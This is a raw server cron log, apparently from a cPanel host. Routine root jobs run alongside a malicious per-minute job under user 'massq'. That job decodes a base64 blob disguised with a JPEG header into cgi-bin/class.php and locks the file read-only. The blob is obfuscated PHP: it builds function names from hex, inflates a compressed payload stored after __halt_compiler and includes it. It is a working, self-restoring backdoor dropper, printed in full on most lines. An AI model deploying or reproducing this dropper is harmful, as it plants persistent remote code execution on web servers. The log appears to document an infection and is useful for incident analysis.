Nov 11 01:38:01 server CROND[986]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:39:01 server CROND[1813]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:39:01 server CROND[1814]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 11 01:40:01 server CROND[2650]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 01:40:01 server CROND[2653]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 01:40:01 server CROND[2652]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 01:40:01 server CROND[2651]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:41:01 server CROND[3527]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:42:01 server CROND[4367]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:42:01 server CROND[4368]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 01:43:01 server CROND[5183]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:44:01 server CROND[5352]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:45:01 server CROND[5979]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 01:45:01 server CROND[5985]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 01:45:01 server CROND[5986]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:46:01 server CROND[6847]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:47:01 server CROND[7615]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:48:01 server CROND[8188]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:49:01 server CROND[9091]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 01:50:01 server CROND[9817]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 01:50:01 server CROND[9818]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 01:50:01 server CROND[9822]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 01:50:01 server CROND[9820]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 01:50:01 server CROND[9821]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
